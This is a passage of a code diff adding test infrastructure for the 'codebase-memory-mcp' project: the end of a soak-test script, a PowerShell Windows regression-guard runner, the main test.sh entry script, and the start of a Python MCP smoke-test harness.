MAX_RSS=$(awk -F, 'NR>1 && $3>0 { if ($3>max) max=$3 } END { printf "%.0f", max/1024/1024 }' "$METRICS_CSV")
FIRST_RSS=$(awk -F, 'NR==2 && $3>0 { printf "%.0f", $3/1024/1024 }' "$METRICS_CSV")
LAST_RSS=$(awk -F, '$3>0 { last=$3 } END { printf "%.0f", last/1024/1024 }' "$METRICS_CSV")
echo "RSS: first=${FIRST_RSS}MB last=${LAST_RSS}MB max=${MAX_RSS}MB (${TOTAL_SAMPLES} samples)" | tee -a "$SUMMARY"
# Absolute ceiling — catches catastrophic leaks on any run length
if [ "${MAX_RSS:-0}" -gt 200 ] 2>/dev/null; then
echo "FAIL: RSS ${MAX_RSS}MB > 200MB ceiling" | tee -a "$SUMMARY"
PASS=false
fi
# Slope — informational for short runs, enforced only for runs >= 30 min
# (10-min runs have too few post-warmup samples for reliable regression)
RSS_SLOPE=$(awk -F, -v skip="$((TOTAL_SAMPLES / 5))" '
NR>1 && $3>0 {
row++
if (row <= skip) next
n++; x=$1; y=$3; sx+=x; sy+=y; sxx+=x*x; sxy+=x*y
}
END {
if (n<5) { print 0; exit }
slope = (n*sxy - sx*sy) / (n*sxx - sx*sx)
printf "%.0f", slope * 3600 / 1024
}' "$METRICS_CSV")
echo "RSS slope (post-warmup): ${RSS_SLOPE} KB/hr" | tee -a "$SUMMARY"
if [ "$DURATION_MIN" -ge 30 ] && [ "${RSS_SLOPE:-0}" -gt 500 ] 2>/dev/null; then
echo "FAIL: RSS slope ${RSS_SLOPE} KB/hr > 500 KB/hr" | tee -a "$SUMMARY"
PASS=false
fi
# Check 1b: RSS ratio (last / first) — catches step-function leaks
if [ "${FIRST_RSS:-0}" -gt 0 ] 2>/dev/null; then
RSS_RATIO=$(awk "BEGIN { printf \"%.1f\", ${LAST_RSS} / ${FIRST_RSS} }")
echo "RSS ratio (last/first): ${RSS_RATIO}x" | tee -a "$SUMMARY"
if awk "BEGIN { exit (${LAST_RSS} / ${FIRST_RSS} > 3.0) ? 0 : 1 }" 2>/dev/null; then
echo "FAIL: RSS grew ${RSS_RATIO}x (last=${LAST_RSS}MB vs first=${FIRST_RSS}MB)" | tee -a "$SUMMARY"
PASS=false
fi
fi
# Check 2: FD drift
FD_DRIFT=$(awk -F, 'NR>1 && $5>0 { if (!first) first=$5; last=$5 } END { print last-first }' "$METRICS_CSV")
echo "FD drift: ${FD_DRIFT:-0}" | tee -a "$SUMMARY"
if [ "${FD_DRIFT:-0}" -gt 20 ] 2>/dev/null; then
echo "FAIL: FD drift ${FD_DRIFT} > 20" | tee -a "$SUMMARY"
PASS=false
fi
# Check 3: Idle daemon CPU (where the PID is host-addressable)
if [ -n "$IDLE_CPU" ]; then
# ps %cpu may carry a locale decimal comma; strip either separator.
IDLE_INT=$(echo "$IDLE_CPU" | cut -d. -f1 | cut -d, -f1)
echo "Idle daemon CPU: ${IDLE_CPU}%" | tee -a "$SUMMARY"
if [ "${IDLE_INT:-0}" -gt 5 ] 2>/dev/null; then
echo "FAIL: idle daemon CPU ${IDLE_CPU}% > 5%" | tee -a "$SUMMARY"
PASS=false
fi
else
echo "Idle daemon CPU: unavailable on Windows (not evaluated)" | tee -a "$SUMMARY"
fi
# Check 4: Max query latency (exclude index_repository — indexing is legitimately slow)
MAX_LATENCY=$(awk -F, 'NR>1 && $2!="index_repository" { if ($3>max) max=$3 } END { print max+0 }' "$LATENCY_CSV")
MAX_INDEX=$(awk -F, 'NR>1 && $2=="index_repository" { if ($3>max) max=$3 } END { print max+0 }' "$LATENCY_CSV")
echo "Max query latency: ${MAX_LATENCY}ms (index: ${MAX_INDEX}ms)" | tee -a "$SUMMARY"
# 60s threshold — MSYS2/Wine adds significant overhead to all operations
if [ "${MAX_LATENCY:-0}" -gt 60000 ] 2>/dev/null; then
echo "FAIL: max query latency ${MAX_LATENCY}ms > 60s" | tee -a "$SUMMARY"
PASS=false
fi
# Check 5: Query count (sanity — should have many)
TOTAL_QUERIES=$(awk -F, 'NR>1 { n++ } END { print n+0 }' "$LATENCY_CSV")
echo "Total queries: $TOTAL_QUERIES" | tee -a "$SUMMARY"
# ── Cleanup ──────────────────────────────────────────────────────
soak_cleanup
trap - EXIT INT TERM
echo ""
if $PASS; then
echo "=== soak-test: PASSED ===" | tee -a "$SUMMARY"
else
echo "=== soak-test: FAILED ===" | tee -a "$SUMMARY"
exit 1
fi
+246
View File
@@ -0,0 +1,246 @@
<#
.SYNOPSIS
Run the native-Windows product-surface test suite for codebase-memory-mcp.
.DESCRIPTION
Builds the product binary if it is not already present, stages it under its
release name, then runs the deterministic Windows integration tests under
tests/windows/ against it (real stdio / CLI / HTTP UI, real SQLite DB).
Windows ships ONE binary, exactly like Linux and macOS.
Two categories of test:
GUARDS - regression guards for Windows bugs already fixed on main.
They must stay GREEN (exit 0); a RED (exit 1) means the fix
regressed and fails this runner.
* test_non_ascii_path.py guards #636/#357 (fixed by #700)
* test_non_ascii_cache_dump.py guards #996 (writer cbm_fopen)
* test_hook_augment.py guards #618 (fixed by #619)
* test_ui_drive_listing.py guards #548 (roots field)
* test_cli_non_ascii_arg.py guards #423/#20 (wide-argv main())
* test_daemon_stability.py guards the daemon parameter
surface, crash recovery, busy-stop refusal, and churn
* test_windows_update_handoff.py guards that `update`
hands off to install.ps1 instead of replacing its own
running image (the removed launcher stub's only job)
KNOWN REDS - genuine, still-open Windows bugs reproduced at the product
surface. They are EXPECTED to be RED (exit 1) and are opt-in
(never gate CI). If one turns GREEN the underlying bug was
fixed and it should be promoted to a guard.
* (none currently - test_cli_non_ascii_arg.py was promoted to a
guard when the wide-argv fix for #423/#20 landed)
Indexing runs through the real supervisor -> worker spawn on every guard:
under the mandatory coordination daemon CBM_INDEX_SUPERVISOR=0 is a
fail-closed refusal seam, never an in-process fallback, so the old
determinism override would turn every indexing guard into a refusal.
On native Windows the MinGW/LLVM toolchain ships no libasan/libubsan, so the
build disables sanitizers (SANITIZE=). Where the toolchain provides
AddressSanitizer/UBSan (Linux containers, WSL), prefer scripts/test.sh.
.PARAMETER Binary
Path to an existing product executable. If omitted, the script builds it
(target selected by -Target) into build/c/.
.PARAMETER Target
Makefile.cbm target used when building: 'cbm-with-ui' (default; needed for the
drive-picker guard's embedded HTTP UI) or 'cbm' (no UI - the drive guard then
reports a precondition and is skipped).
.PARAMETER GuardsOnly
Run only the green guards (the CI gate). Skips the opt-in known-red repros.
.PARAMETER Make
Path to GNU make (default: 'make' on PATH; MSYS2 ships it at
C:\msys64\usr\bin\make.exe).
.EXAMPLE
pwsh -File scripts/test-windows.ps1
.EXAMPLE
pwsh -File scripts/test-windows.ps1 -GuardsOnly -Binary build\c\codebase-memory-mcp.exe
#>
[CmdletBinding()]
param(
[string]$Binary,
[ValidateSet("cbm-with-ui", "cbm")]
[string]$Target = "cbm-with-ui",
[switch]$GuardsOnly,
[string]$Make = "make"
)
$ErrorActionPreference = "Stop"
$repoRoot = Split-Path -Parent $PSScriptRoot
Set-Location $repoRoot
$python = (Get-Command python -ErrorAction SilentlyContinue)
if (-not $python) { $python = (Get-Command py -ErrorAction SilentlyContinue) }
if (-not $python) { throw "Python 3 is required to run the Windows tests." }
$py = $python.Source
# A writable Windows temp dir that GNU make forwards to the native gcc. MSYS2
# strips TMP/TEMP from the environment it hands native children, so pass them as
# make command-line variables (make exports those to recipe processes).
$tmp = $env:TEMP
if (-not $tmp) { $tmp = "$env:USERPROFILE\AppData\Local\Temp" }
function Resolve-Binary {
param([string]$Explicit)
if ($Explicit) { return (Resolve-Path $Explicit).Path }
$built = Join-Path $repoRoot "build\c\codebase-memory-mcp.exe"
if (Test-Path $built) { return $built }
Write-Host "Building $Target via Makefile.cbm ..." -ForegroundColor Cyan
& $Make "-j" "-f" "Makefile.cbm" $Target "SANITIZE=" "TMP=$tmp" "TEMP=$tmp" "TMPDIR=$tmp" | Out-Host
$buildExit = $LASTEXITCODE
if ($buildExit -ne 0) { throw "build failed (exit $buildExit)" }
if (-not (Test-Path $built)) { throw "binary not produced at $built" }
return $built
}
$bin = Resolve-Binary -Explicit $Binary
Write-Host "Binary: $bin" -ForegroundColor Green
$previousTemp = $env:TEMP
$previousTmp = $env:TMP
$previousTmpDir = $env:TMPDIR
$guardRoot = $null
try {
$userProfile = [Environment]::GetFolderPath([Environment+SpecialFolder]::UserProfile)
if (-not $userProfile) { throw "could not resolve the current user's profile directory" }
$guardRoot = Join-Path $userProfile ("cbm-windows-guards-root-" + [guid]::NewGuid().ToString("N"))
New-Item -ItemType Directory -Path $guardRoot | Out-Null
# GitHub-hosted runner profile children can inherit mutation-capable ACEs
# even though the profile ancestry itself passes the bounded trust policy. Replace that inheritance before creating any executable or
# Python temporary descendant. Use SIDs rather than localized account names.
$currentSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
if (-not $currentSid) { throw "could not resolve the current user's SID" }
$guardAcl = [System.Security.AccessControl.DirectorySecurity]::new()
$guardAcl.SetOwner($currentSid)
$guardAcl.SetAccessRuleProtection($true, $false)
$guardRule = [System.Security.AccessControl.FileSystemAccessRule]::new(
$currentSid,
[System.Security.AccessControl.FileSystemRights]::FullControl,
([System.Security.AccessControl.InheritanceFlags]::ContainerInherit -bor
[System.Security.AccessControl.InheritanceFlags]::ObjectInherit),
[System.Security.AccessControl.PropagationFlags]::None,
[System.Security.AccessControl.AccessControlType]::Allow
)
$guardAcl.AddAccessRule($guardRule) | Out-Null
Set-Acl -LiteralPath $guardRoot -AclObject $guardAcl
$guardBundle = Join-Path $guardRoot ("cbm-windows-guards-" + [guid]::NewGuid().ToString("N"))
New-Item -ItemType Directory -Path $guardBundle | Out-Null
$guardBin = Join-Path $guardBundle "codebase-memory-mcp.exe"
Copy-Item -LiteralPath $bin -Destination $guardBin
# Ownership is never inherited on Windows: descendants created under the
# hardened root by an admin-group token can default to the Administrators
# SID, while the exe policy demands the exact current user as owner. Stamp
# the current SID explicitly on everything staged here.
foreach ($staged in @($guardBundle, $guardBin)) {
$stagedAcl = Get-Acl -LiteralPath $staged
$stagedAcl.SetOwner($currentSid)
Set-Acl -LiteralPath $staged -AclObject $stagedAcl
}
Write-Host "Guard bundle: $guardBin" -ForegroundColor Green
# The guards deliberately reject GitHub's shared D:\a ancestry and the
# hosted runner's inherited LocalAppData\Temp ACL. Keep staged fixtures and
# Python-created descendants below the accepted profile ancestry.
$env:TEMP = $guardRoot
$env:TMP = $guardRoot
$env:TMPDIR = $guardRoot
$env:PYTHONUTF8 = "1" # encode argv/stdio as UTF-8
# Green regression guards - must stay GREEN (exit 0). RED (exit 1) = the fix for
# the referenced issue regressed. The drive-picker guard needs the embedded HTTP
# UI (build target cbm-with-ui); against a non-UI binary it reports a precondition
# (exit 2) and is skipped rather than failed.
$guards = @(
"tests\windows\test_non_ascii_path.py",
"tests\windows\test_non_ascii_cache_dump.py",
"tests\windows\test_daemon_lifecycle.py",
"tests\windows\test_daemon_stability.py",
"tests\windows\test_hook_augment.py",
"tests\windows\test_ui_drive_listing.py",
"tests\windows\test_cli_non_ascii_arg.py",
"tests\windows\test_windows_update_handoff.py"
)
# Opt-in known-red repros - EXPECTED red (exit 1); never gate CI. Currently empty:
# test_cli_non_ascii_arg.py was promoted to a guard when #423/#20's wide-argv fix landed.
$knownReds = @()
$guardFailures = @()
$guardSkips = @()
$fixedKeepers = @()
Write-Host "`n--- Green guards ---" -ForegroundColor Cyan
foreach ($t in $guards) {
Write-Host "`n=== $t ===" -ForegroundColor Cyan
& $py $t $guardBin
$code = $LASTEXITCODE
if ($code -eq 0) {
Write-Host "GREEN ($t)" -ForegroundColor Green
} elseif ($code -eq 1 -or $t -eq "tests\windows\test_windows_update_handoff.py") {
Write-Host "RED ($t) - REGRESSION: a fixed Windows bug is broken again" -ForegroundColor Red
$guardFailures += $t
} elseif ($code -eq 2) {
# Exit 2 is the guards' DOCUMENTED precondition-skip contract; every
# other unexpected code (a crashed python, an access-violation status,
# a mistyped guard) is a FAILURE - an uncontracted exit once let a
# crashing guard read as an invisible skip under a green banner.
Write-Host "PRECONDITION ($t) exit=2 - skipped (see message above)" -ForegroundColor Yellow
$guardSkips += $t
} else {
Write-Host "FAILED ($t) exit=$code - crashed or exited outside the guard contract 0/1/2" -ForegroundColor Red
$guardFailures += $t
}
}
if (-not $GuardsOnly) {
Write-Host "`n--- Known reds (opt-in, expected red) ---" -ForegroundColor Cyan
foreach ($t in $knownReds) {
Write-Host "`n=== $t ===" -ForegroundColor Cyan
& $py $t $guardBin
$code = $LASTEXITCODE
if ($code -eq 1) {
Write-Host "RED ($t) - expected; the underlying Windows bug is still open" -ForegroundColor DarkYellow
} elseif ($code -eq 0) {
Write-Host "GREEN ($t) - the bug appears FIXED; promote this to a guard" -ForegroundColor Green
$fixedKeepers += $t
} else {
Write-Host "PRECONDITION ($t) exit=$code - skipped (see message above)" -ForegroundColor Yellow
}
}
}
} finally {
$env:TEMP = $previousTemp
$env:TMP = $previousTmp
$env:TMPDIR = $previousTmpDir
if ($guardRoot) {
Remove-Item -LiteralPath $guardRoot -Recurse -Force -ErrorAction SilentlyContinue
}
}
Write-Host ""
if ($guardSkips.Count -gt 0) {
Write-Host ("Guards skipped (precondition): {0} - e.g. the drive-picker guard " -f $guardSkips.Count) -ForegroundColor Yellow
Write-Host "needs a UI build (-Target cbm-with-ui, the default)." -ForegroundColor Yellow
}
if ($fixedKeepers.Count -gt 0) {
Write-Host ("Known-red repros that are now GREEN (promote to guards): {0}" -f ($fixedKeepers -join ", ")) -ForegroundColor Green
}
if ($guardSkips.Count -eq $guards.Count -and $guards.Count -gt 0) {
Write-Host "FAIL: every guard skipped - nothing was actually verified" -ForegroundColor Red
exit 1
}
if ($guardFailures.Count -gt 0) {
Write-Host ("REGRESSION: {0} green guard(s) went red: {1}" -f $guardFailures.Count, ($guardFailures -join ", ")) -ForegroundColor Red
Write-Host "A previously-fixed Windows bug is broken again (see the guard's docstring and its referenced issue)." -ForegroundColor Red
exit 1
}
Write-Host "All Windows green guards passed." -ForegroundColor Green
exit 0
+285
View File
@@ -0,0 +1,285 @@
#!/usr/bin/env bash
# test.sh — THE canonical test leg. Every venue (local ladder, PR CI, dry run,
# release) runs tests through this file; iteration happens through its flags,
# never through a second entry point.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
usage() {
cat <<'EOF'
Usage: scripts/test.sh [--suites LIST] [--arch ARCH] [VAR=VAL ...]
The canonical test entry: identical in local CI, PR CI, dry run and release.
DEFAULT (no --suites) is exactly what CI runs: static contract checks
(Step 0a-0j), a CLEAN sanitizer build, every suite via the parallel harness,
then the prod-binary regression guards (Steps 4-6).
Modes:
(default) The venue leg. Clean build (scripts/clean.sh) + all suites +
all contract steps. This is the shape every gate runs.
--suites LIST ITERATION mode: comma- or space-separated suite names, e.g.
--suites daemon,daemon_ipc. Rebuilds the test-runner
INCREMENTALLY (make dependency tracking, no clean) and runs
only those suites — seconds, not minutes. Skips the contract
steps and prod-binary guards; the full default run remains
the merge gate. Suite names: build/c/test-runner --list-suites.
--tsan ThreadSanitizer leg (data-race gate): builds and runs the
widened TSan runner via make test-tsan — the same leg CI's
tsan jobs and the compose test-tsan service run.
Options:
--arch ARCH Force target arch (arm64 | x86_64), e.g. under Rosetta.
-h, --help This text.
Make passthrough (VAR=VAL, forwarded verbatim):
CC= CXX= Compiler override, e.g. CC=gcc-14 CXX=g++-14.
BUILD_DIR= Build in an isolated directory (containers/sanitizer variants).
SANITIZE= Override sanitizer flags. Platform defaults when unset:
unix/CLANG64 use the Makefile's ASan+UBSan test flags;
CLANGARM64 (Windows on ARM, no ASan runtime) gets CI's
trap-UBSan set (-fsanitize=undefined -fsanitize-trap=undefined
-fstack-protector-strong -fno-omit-frame-pointer) applied HERE
so local and CI build identical test binaries. Pass SANITIZE=
(empty) for a plain build when debugging a trap.
Environment:
CBM_TEST_SEQUENTIAL=1 Single-process runner instead of the parallel harness.
CBM_RUN_HANG_TEST=1 Opt-in C++ index-hang regression (#410, needs prod).
CBM_NO_CCACHE=1 Disable the content-verified compiler cache.
CBM_TEST_SHARD/_LEG Set by CI's sharded legs; leave unset locally.
Examples:
scripts/test.sh # the full venue leg (what CI runs)
scripts/test.sh --suites daemon_ipc # one suite, incremental, seconds
scripts/test.sh --suites "arena hash_table" CC=clang CXX=clang++
scripts/test.sh SANITIZE= --suites daemon_ipc # plain build for trap debugging
EOF
}
# Parse --help / --suites / --tsan / --arch before sourcing env.sh.
# STRICT: an unknown flag or a stray word is an immediate usage error, never
# silently swallowed — agents must know exactly what a run will do.
SUITES=""
TSAN=0
prev_arg=""
for arg in "$@"; do
case "$arg" in
-h|--help) usage; exit 0 ;;
--tsan) :;;
--suites) :;; # next arg is the value, handled below
--suites=*) SUITES="${arg#--suites=}" ;;
--arch) :;; # next arg is the value, handled below
--arch=*) :;; # handled below
-*)
echo "test.sh: unknown option '$arg'. Please consult --help." >&2
exit 2
;;
arm64|x86_64)
if [[ "${prev_arg:-}" != "--arch" && "${prev_arg:-}" != "--suites" ]]; then
echo "test.sh: unexpected argument '$arg' (did you mean --arch $arg?). Please consult --help." >&2
exit 2
fi
;;
*=*) :;; # VAR=VAL make passthrough, validated below
*)
if [[ "${prev_arg:-}" != "--suites" ]]; then
echo "test.sh: unexpected argument '$arg'. Please consult --help." >&2
exit 2
fi
;;
esac
prev_arg="$arg"
done
for arg in "$@"; do
case "$arg" in
--tsan) TSAN=1 ;;
arm64|x86_64)
if [[ "${prev_arg2:-}" == "--arch" ]]; then
export CBM_ARCH="$arg"
fi
;;
*)
if [[ "${prev_arg2:-}" == "--suites" ]]; then
SUITES="$arg"
fi
;;
esac
prev_arg2="$arg"
done
# Normalize comma separation to the runner's space-separated argv form.
SUITES="${SUITES//,/ }"
case "${prev_arg:-}" in
--suites|--arch)
echo "test.sh: '$prev_arg' needs a value. Please consult --help." >&2
exit 2
;;
esac
if [ "$TSAN" -eq 1 ] && [ -n "$SUITES" ]; then
echo "test.sh: --tsan and --suites are separate modes (the TSan leg has its own suite set). Please consult --help." >&2
exit 2
fi
prev_arg=""
# Also support --arch=value
for arg in "$@"; do
case "$arg" in
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
esac
done
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
# shellcheck source=path-safety.sh
source "$ROOT/scripts/path-safety.sh"
# Forward CC/CXX and collect make-passthrough args. BUILD_DIR is honored for
# the explicit target path below so containerized legs can build in their own
# directory instead of clobbering the host's native build/c artifacts.
# MAKE_ARGS is an ARRAY so a VAR=VAL whose value contains spaces (the
# windows-11-arm leg passes SANITIZE with four flags) survives as ONE make
# argument. The old string accumulation re-split it at every expansion and
# make swallowed the second flag's leading -f as its makefile option.
MAKE_ARGS=()
BUILD_DIR="build/c"
SANITIZE_GIVEN=0
prev_arg=""
for arg in "$@"; do
case "$arg" in
CC=*|CXX=*) export "${arg}" ;;
--arch|--arch=*) ;; # already handled
arm64|x86_64) ;; # already handled
--tsan) ;; # already handled
--suites|--suites=*) ;; # already handled (value skipped via prev_arg below)
BUILD_DIR=*) BUILD_DIR="${arg#BUILD_DIR=}"; MAKE_ARGS+=("$arg") ;;
SANITIZE=*) SANITIZE_GIVEN=1; MAKE_ARGS+=("$arg") ;;
*=*)
if [[ "${prev_arg:-}" != "--suites" ]]; then
MAKE_ARGS+=("$arg") # forward any VAR=VAL to make
fi
;;
esac
prev_arg="$arg"
done
# Platform default absorbed FROM CI (previously inline in _test.yml, so the
# local arm64 leg silently built without it — that divergence is why the SQLite
# page-cache misalignment was fatal only on the windows-11-arm runner): native
# ARM64 Windows has no ASan runtime, so its sanitizer gate is UBSan in trap
# mode + stack protector. Applied here, once, for every venue; an explicit
# SANITIZE=... (or SANITIZE=) argument overrides.
if [ "$SANITIZE_GIVEN" -eq 0 ] && [ "${MSYSTEM:-}" = "CLANGARM64" ]; then
MAKE_ARGS+=("SANITIZE=-fsanitize=undefined -fsanitize-trap=undefined -fstack-protector-strong -fno-omit-frame-pointer")
fi
print_env "test.sh"
# ── TSan mode (--tsan): the data-race gate ──
# One entry for every venue: CI's tsan jobs and the compose test-tsan service
# both run this instead of carrying their own make invocation.
if [ "$TSAN" -eq 1 ]; then
echo "=== test.sh: TSan leg (make test-tsan) ==="
make -j"$NPROC" -f Makefile.cbm "$BUILD_DIR/test-runner-tsan" ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
make -f Makefile.cbm test-tsan ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
exit "$?"
fi
# ── Iteration mode (--suites): incremental rebuild + subset run ──
# The documented fast path: no clean, no contract steps, no prod-binary
# guards — those all still gate every merge through the default full run.
if [ -n "$SUITES" ]; then
echo "=== test.sh: ITERATION mode — suites: $SUITES (incremental build) ==="
make -j"$NPROC" -f Makefile.cbm "$BUILD_DIR/test-runner" ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
# shellcheck disable=SC2086 # suite list is deliberately word-split
"$BUILD_DIR/test-runner" $SUITES
exit "$?"
fi
# Step 0: fast build/security harness regressions run before the compiler-heavy
# suite. The Windows package surface is static here; native launcher behavior is
# exercised by scripts/test-windows.ps1.
echo "=== Step 0a: build directory safety contract ==="
bash "$ROOT/tests/test_build_dir_safety.sh"
echo "=== Step 0b: Windows VM worktree sync contract ==="
bash "$ROOT/tests/test_vm_worktree_manifest.sh"
echo "=== Step 0c: UI development proxy security contract ==="
bash "$ROOT/tests/test_ui_dev_proxy_security.sh"
echo "=== Step 0d: daemon soak recovery contract ==="
bash "$ROOT/tests/test_soak_daemon_recovery_contract.sh"
echo "=== Step 0e: Windows launcher bundle contract ==="
bash "$ROOT/tests/test_windows_bundle_contract.sh"
echo "=== Step 0f: tree-sitter runtime Makefile dependencies ==="
bash "$ROOT/tests/test_makefile_ts_runtime_dependencies.sh"
echo "=== Step 0g: security fuzz harness self-test ==="
bash "$ROOT/tests/test_security_fuzz_harness.sh"
echo "=== Step 0h: smoke release-fixture contract ==="
bash "$ROOT/tests/test_smoke_fixture_contract.sh"
echo "=== Step 0i: parallel suite scheduler contract ==="
bash "$ROOT/tests/test_parallel_harness_contract.sh"
echo "=== Step 0j: venue parity contract (one harness, every venue) ==="
bash "$ROOT/tests/test_venue_parity_contract.sh"
# Verify compiler supports target arch
verify_compiler "$CC"
# Step 1: Clean (scoped to this leg's build directory)
BUILD_DIR="$BUILD_DIR" scripts/clean.sh
# Step 2 + 3: Build, then run every suite as parallel processes (identical
# gate quality — see the ZERO-LOSS CONTRACT in scripts/run-tests-parallel.sh:
# the suite set is enumerated from the runner itself and union-guarded, and
# pass/fail/skip totals aggregate to the same numbers as the sequential run).
# CBM_TEST_SEQUENTIAL=1 restores the single-process runner.
make -j"$NPROC" -f Makefile.cbm "$BUILD_DIR/test-runner" ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
if [ "${CBM_TEST_SEQUENTIAL:-0}" = "1" ]; then
make -f Makefile.cbm test ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
else
make -f Makefile.cbm test-par ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
fi
# Step 4: C++ large-TU index-hang regression guard (#410). Runs the PROD binary
# in a subprocess with a wall-clock timeout — a hang must fail, not block the run.
# Opt-in via CBM_RUN_HANG_TEST=1 (it needs the prod binary, which the ASan unit
# run above does not build). Skipped by default so the fast unit run stays fast.
if [ "${CBM_RUN_HANG_TEST:-0}" = "1" ]; then
echo "=== Step 4: C++ index-hang regression (#410) ==="
bash "$ROOT/tests/test_cpp_index_hang.sh"
fi
# Step 5: Parent-death watchdog regression (#406/#407). Builds the prod stdio
# binary and verifies it self-exits when its launching parent is killed.
#
# TEST_SEAMS=1: the worker-mode leg below needs the crash-orphan probe, which is
# compiled out of ordinary builds (it forks a SIGTERM-ignoring child — see
# src/main.c). Requesting it HERE, in the leg that consumes it, is what keeps
# release artifacts free of it; scripts/ci/check-binary-composition.sh proves
# they stay that way.
echo "=== Step 5: parent-death watchdog regression (#406/#407) ==="
make -j"$NPROC" -f Makefile.cbm cbm TEST_SEAMS=1 ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
WATCHDOG_BINARY="$ROOT/$BUILD_DIR/codebase-memory-mcp"
CBM_TEST_BINARY="$WATCHDOG_BINARY" bash "$ROOT/tests/test_parent_watchdog.sh"
# Step 5b: worker-mode parent-death watchdog (#845). A supervised index worker
# (`cli --index-worker …`) whose supervisor dies must self-exit instead of
# indexing on as an orphan. Reuses the prod binary built in Step 5.
echo "=== Step 5b: worker-mode watchdog regression (#845) ==="
CBM_TEST_BINARY="$WATCHDOG_BINARY" bash "$ROOT/tests/test_worker_watchdog.sh"
# Step 6: security-strings URL allow-list regression. The MSYS2 CLANG64 toolchain
# bakes its package-tracker URL into the static Windows .exe; the binary string
# audit must allow-list it (Windows-only — Linux smoke never saw it).
echo "=== Step 6: security-strings allow-list regression ==="
bash "$ROOT/tests/test_security_strings_allowlist.sh"
echo "=== All tests passed ==="
+412
View File
@@ -0,0 +1,412 @@
#!/usr/bin/env python3
"""Bounded interactive MCP smoke scenarios.
Unlike a regular-file fixture, this keeps stdin open while each potentially
long-running request completes. That models a standing coding-agent session
and prevents EOF/session cancellation from racing the response assertions.
"""
from __future__ import annotations
import argparse
import json
import os
import queue
import shutil
import subprocess
import sys
import threading
import time
from typing import Any, BinaryIO, Optional
INITIALIZE_PARAMS = {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "interactive-smoke", "version": "1.0"},
}
class SmokeFailure(RuntimeError):
pass
def mcp_command(binary: str) -> list[str]:
"""Select a direct product launch or an explicit Windows shebang runner."""
if os.name != "nt":
return [binary]
try:
with open(binary, "rb") as stream:
shebang = stream.read(2) == b"#!"
except OSError:
return [binary]
if not shebang:
return [binary]
bash = shutil.which("bash")
if not bash:
raise SmokeFailure("Windows shebang MCP fixture requires bash on PATH")
return [bash, binary]
def read_json_lines(
stream: BinaryIO,
responses: "queue.Queue[dict[str, Any]]",
transcript: list[dict[str, Any]],
) -> None:
for raw_line in iter(stream.readline, b""):
try:
message = json.loads(raw_line.decode("utf-8"))
except (UnicodeDecodeError, json.JSONDecodeError):
continue
if isinstance(message, dict):
transcript.append(message)
responses.put(message)
def drain(stream: BinaryIO, chunks: list[bytes]) -> None:
for chunk in iter(lambda: stream.read(8192), b""):
chunks.append(chunk)
def cache_log_tail(name: str, limit: int = 16384) -> str:
cache_dir = os.environ.get("CBM_CACHE_DIR")
if not cache_dir:
return ""
path = os.path.join(cache_dir, "logs", name)
try:
with open(path, "rb") as stream:
stream.seek(0, os.SEEK_END)
size = stream.tell()
stream.seek(max(0, size - limit), os.SEEK_SET)
return stream.read(limit).decode("utf-8", errors="replace")
except OSError:
return ""
def send(process: subprocess.Popen[bytes], message: dict[str, Any]) -> None:
if process.stdin is None:
raise SmokeFailure("MCP stdin is unavailable")
encoded = json.dumps(message, separators=(",", ":")).encode("utf-8") + b"\n"
try:
process.stdin.write(encoded)
process.stdin.flush()
except (BrokenPipeError, OSError) as error:
raise SmokeFailure("MCP server closed stdin early") from error
def wait_response(
process: subprocess.Popen[bytes],
responses: "queue.Queue[dict[str, Any]]",
request_id: int,
timeout: float,
accept_tool_error: bool = False,
) -> dict[str, Any]:
deadline = time.monotonic() + timeout
while True:
if process.poll() is not None and responses.empty():
raise SmokeFailure(
f"MCP server exited {process.returncode} before response id={request_id}"
)
try:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise queue.Empty
message = responses.get(timeout=remaining)
except queue.Empty as error:
raise SmokeFailure(f"timed out waiting for MCP response id={request_id}") from error
if message.get("id") != request_id:
continue
if "result" not in message and "error" not in message:
# An echoed request is not a JSON-RPC response and must never count
# as proof that the server dispatched the request.
continue
if "error" in message:
raise SmokeFailure(
f"MCP response id={request_id} returned JSON-RPC error: {message['error']!r}"
)
result = message.get("result")
if (
isinstance(result, dict)
and result.get("isError") is True
and not accept_tool_error
):
rendered = json.dumps(message, separators=(",", ":"), ensure_ascii=False)
raise SmokeFailure(
f"MCP tool response id={request_id} reported isError=true: {rendered}"
)
return message
def request(
process: subprocess.Popen[bytes],
responses: "queue.Queue[dict[str, Any]]",
request_id: int,
method: str,
params: dict[str, Any],
timeout: float,
accept_tool_error: bool = False,
) -> dict[str, Any]:
send(
process,
{
"jsonrpc": "2.0",
"id": request_id,
"method": method,
"params": params,
},
)
return wait_response(process, responses, request_id, timeout, accept_tool_error)
def grouped_search_qualified_name(
structured: Any, expected_name: str
) -> Optional[str]:
"""Extract a qualified name from search_graph's grouped JSON tree."""
if not isinstance(structured, dict):
return None
columns = structured.get("cols")
groups = structured.get("groups")
if not isinstance(columns, list) or not isinstance(groups, list):
return None
try:
name_column = columns.index("name")
except ValueError:
return None
for group in groups:
if not isinstance(group, dict):
return None
prefix = group.get("qn_prefix")
rows = group.get("rows")
if not isinstance(prefix, str) or not isinstance(rows, list):
return None
for row in rows:
if not isinstance(row, list) or name_column >= len(row):
return None
name = row[name_column]
if not isinstance(name, str):
return None
if name == expected_name:
return f"{prefix}.{name}" if prefix else name
return None
def run_scenario(
process: subprocess.Popen[bytes],
responses: "queue.Queue[dict[str, Any]]",
scenario: str,
repo_path: str,
timeout: float,
) -> None:
request(process, responses, 1, "initialize", INITIALIZE_PARAMS, timeout)
send(
process,
{"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}},
)
if scenario == "initialize":
return
if scenario == "invalid-index":
invalid_index_response = request(
process,
responses,
2,
"tools/call",
{
"name": "index_repository",
"arguments": {"repo_path": repo_path, "mode": "fast"},
},
timeout,
accept_tool_error=True,
)
invalid_index_result = invalid_index_response.get("result")
if (
